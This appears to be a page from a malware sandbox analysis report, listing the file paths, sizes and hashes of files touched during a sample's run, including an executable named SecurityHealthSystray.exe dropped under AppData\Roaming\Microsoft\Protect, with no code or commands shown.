MD5 SHA1 SHA512 TLSH

Submit Download

music67_final.html

Path C:\Users\Admin\AppData\Local\Temp\music67_final.html
Size 775B
SHA256 4daec786120ca1737865a4f2a8185a0c67d98fe9ff51a78a7f3d1fb43dc0729e
MD5 c23f9748f5abb56a76a1d06625bbf128
SHA1 15fb7a64e9f18f26c1381bb640025aa61547a0bf
SHA512 7832cfc20022034836d3aad8f7bafa585d6efc166f666f288061f935da20c74ed4c7fea4099136622eaa2590e8b62df10016e6418bbf187a64b2568cd2946783
TLSH
T1B30190177024BC4186B2F7B23673A14C9577B3161BC74781B466C1A31F236955D56ECC
MD5 SHA1 SHA512 TLSH

Submit Download

SecurityHealthSystray.exe

Path C:\Users\Admin\AppData\Roaming\Microsoft\Protect\SecurityHealthSystray.exe
Size 668KB
SHA256 676548b58279f3f5bd7099a0953539839fb98f4bf3957bf18618f36c72c09e5c
MD5 7468abcc71590e734af11a9f819bcd9b
SHA1 3d8a68e97a26f43abb670b341a34d027c5c43fdf
SHA512 ed1617be3123afcb585ec88e601997cdc7914c210ac61d573daf84d381283e865c65ae0c6c8526d0a7e8fddf6141293c836da68fdc3abc36b1bcbc93ed028f91
SSDEEP 12288:++Uk1O0qYlSf50VtKlNBrV2IzR2th83EH:++8Yl450Onr2I12th83E
TLSH
T10DE4183AF71219ADC05F037B85A587E195902685F734A5B702B48E53BAE34C24F3AFC2
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

67 (5).txt

Path C:\Users\Admin\Desktop\67 (5).txt
Size 836B
SHA256 f1b6000852a821908a8aeea5eafbc2433a3ed98607f3e15a54a81564506003dd
MD5 e2f78180809f1ac78214c780162de947
SHA1 aaade959f0034c6905ff98cf69e8e874b95bf692
SHA512 c6f50c3c4d7b474cd5656da073e04bf995fd0185b7e07f006e65193b7449be1171d8e568b22d49a2d18123c13066664c8ae5ade40e713a55607a623290a1f636
TLSH
T1DB0102F208B4022A8B2038A00D8BCEE1A3230CC2C0C3100AD3AE023C2F3DB108B0E2C2
MD5 SHA1 SHA512 TLSH

Submit Download

ReAgent.log

Path C:\Windows\Logs\ReAgent\ReAgent.log
Size 2KB
SHA256 378e76e2ca4bdc66296704ff1c247c0a1b854c7403ec0e63107ea70e8966c05f
MD5 de709dd9a69cf4cf0143558fd9169685
SHA1 af08250696d8fd95eaa50b1e21bccd21b76cd8fc
SHA512 8b68ec60cf434c2f2756d2e427b8fc374fd0bca04387a75d6c65c8232c3288a2fd238aa20a69b064e5570cf53549fda5b16b617356643495632c4c8661d1739c
TLSH
T1EE515E620FB685369A15D500F7550BABDD13A6631B4A7620353F6889BB03329C6EEEC8
MD5 SHA1 SHA512 TLSH

Submit Download

ReAgent.log

Path C:\Windows\Logs\ReAgent\ReAgent.log
Size 3KB
SHA256 c059bca54e94013255bfe19d0045ae5daea3700cf7d83f12a279cd4f51cab9fa
MD5 4e72785e78396599099fc9b2809ae28f
SHA1 cbb7a393c5e24329d4ec44d3d58acdefc8103401
SHA512 aecafdefb1cbf49359973f5d3eaeebc0c355030db6c7a7cede841824ecdc8404ad5220fece3cdb6062127f03ab9e55ed9bcba47a9487922dfb0c3bb5fd13fdbe
TLSH
T147818F720F768536DA05D500F7510BABDE03A6632B497620753F6889BF03329CAEDEC8
MD5 SHA1 SHA512 TLSH

Submit Download

diagerr.xml

Path C:\Windows\Panther\UnattendGC\diagerr.xml
Size 13KB
SHA256 71efe89109ac19fc58ccc3074810e38d95c44b0152105cd6c9dbe1708240d434
MD5 fff08b241417b9ae9f645cd978386b14
SHA1 10f883096c536b8e730c3b7552397b6ff0fd4fe9
SHA512 65bbd08aac04ca43e86f36dd7780ce3654a8a3549d095c921246edaf505dce5de542798e32cb344b6dc81fbe61fb6f4cf98e350ca9c841cc1278631567b1a5f7
SSDEEP 96:5MwiGdgbneLHMwiGdgbneLHMwiGdgbnYMwiGdgbneLHMwiGdgbnHo+HMwiGdgbn2:53gbq3gbq3gbY3gbq3gbHp3gbHK3gbHW
TLSH
T1EC52A229B1992EBB5C9446F8DFD038C26F8097794106A03795C4FDAFA279042F9B07CE
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

diagerr.xml

Path C:\Windows\Panther\UnattendGC\diagerr.xml
Size 11KB
SHA256 18942ccb0493a7e7a65c7deee259e3fd8c16019250e98c85eda637e08d11906e
MD5 3d9c0d17a20660a17cd84908cf0e4f33
SHA1 fd9eb73a1fd691d5384f8483dd10d60d290135ca
SHA512 448a4017bf92d6024e9d3014122dae754724782c2ee7b9de4e98d97865852f4638770c0e97fb3162fcd6c9ec29ae2dbbf0f529db49b35d5d192874729485e929
SSDEEP 96:5MwiGdgbneLHMwiGdgbneLHMwiGdgbnYMwiGdgbneLHMwiGdgbnHo+HMwiGdgbnt:53gbq3gbq3gbY3gbq3gbHp3gbt
TLSH
T142328229B1992EBB5C9446F8DFD038C26F8097794106A03795C4FDAFB279042F5B17CA
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

diagwrn.xml

Path C:\Windows\Panther\UnattendGC\diagwrn.xml
Size 17KB
SHA256 f203d79fe816755cbf7260379e71e5da629f9b0847703112edb05f5ae4f6ecaf
MD5 d78b4ef0dcf977805e701161447d6b32
SHA1 7e064db6ce968e8e2b9949d89bb2e82852271811
SHA512 f9440671cac3206efaf0b759e96d22b9e52fa133db1743561df00a646de200c3a94b1e6eacebacc3208447f6a1648e052e5941bbd14d8ee5f27b98e5238e8e41
SSDEEP 192:53gbq3gbExcIi/O33gbY3gbq3gbEjj3gbEEs3gbEcfVm7WH/ZLs:53Iq3IwcIH3IY3Iq3Ik3IA3IRd4
TLSH
T1AE820838B1952EBB5C5046A8DFD038C26F809B7A4116A037A4C5FDAFB275042E9B17DE
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

diagwrn.xml

Path C:\Windows\Panther\UnattendGC\diagwrn.xml
Size 13KB
SHA256 02722e49fa5388d53f229ae0004fea0d05cdebdf4f010e3acbf0eef6f793ea11
MD5 9069c5ddea21afd3107858310761d1e5
SHA1 5de129f537bde6984ce08743bcff83e58f586626
SHA512 580a4aa15661885624d941553bd9eb50e74a843add749400738262276a9132563a8b3392c84be650537ab372939c5c223b8b7788928d8941299966e70bdc92da
SSDEEP 192:53gbq3gbExcIi/O33gbY3gbq3gbEjj3gbEt:53Iq3IwcIH3IY3Iq3Ik3Ia
TLSH
T13452E439B1952EBB5C9046F8DFD038C26F8097794116A03794C4FEAFA279042F9B17DA
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

setuperr.log

Path C:\Windows\Panther\UnattendGC\setuperr.log
Size 98B
SHA256 e260ae6c636d00c6f7e75ac83dc48b358280b3121d45badc1195517a1a2afbf3
MD5 3f190152781b93c83145eca7ad900e17
SHA1 82c8e8e2530084127b2981451bb7e543f78b5716
SHA512 d84469f091be2940d617090b27d7de5d1d1f137452bdb81a8f3a6b968a43a81cd67b8b76b4f45b1c5249c12e5c334439f58d1b8d81f25840c978e00b75bc1f91
TLSH
T1E5B0121103360915560014C082004A644803595302040A10303F1810D74322445D8F48
MD5 SHA1 SHA512 TLSH

Submit Download

setuperr.log

Path C:\Windows\Panther\UnattendGC\setuperr.log
Size 288B
SHA256 2347b665d1ed5ddc032a8fffe4a901be7a1a8df81c7e511743d089a24001c28a
MD5 098118c5226daa9727757e91e058a0ef
SHA1 1cfe7026e2f10b1c9f34b4f2b8e8b9e4369d6407
SHA512 a34bad32a18a60ebda1f470459745d2d049fc626b814b4ea1bfb6a0e11b5b714b4111290024558f928cff0e4509ff779eac4072b8d2a8f562ecc2a174a2e84f6
TLSH
T178D05E22033A0A2A9A0028C0C3048FA95C036EA703181B10313F5C24EB4273889E8F8D
MD5 SHA1 SHA512 TLSH

Submit Download

cmd.exe

Path C:\Windows\System32\cmd.exe
Size 324KB
SHA256 f6c9532e1f4b66be96f0f56bd7c3a3c1997ea8066b91bfcc984e41f072c347ba
MD5 c5db7b712f280c3ae4f731ad7d5ea171
SHA1 e8717ff0d40e01fd3b06de2aa5a401bed1c907cc
SHA512 bceaf7dc30f2c99b40b7025a5eb063f3131a1ef9349fdf356720eaef838bcf58ce3d5e3bad9459ddd2f872df430bdb66a766a5acff5d3bbc738eba8945cb0a89
SSDEEP 6144:wh6/6DOyYSltqYDQjHpUWIcz5ROTOhM111uq9iRUaaUga4m1:p/6yL4qfjHpUBKfAO61Tb494
TLSH
T1EC64495E639828E5E927913DC903C121D6B23C35632192EF12D0CD7B7F63AE97A39B05
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

Analysis

Sharing

Errors

General

Malware Config

Signatures

Processes

Network

MITRE ATT&CK Enterprise v16

Replay Monitor

Loading Replay Monitor...

Downloads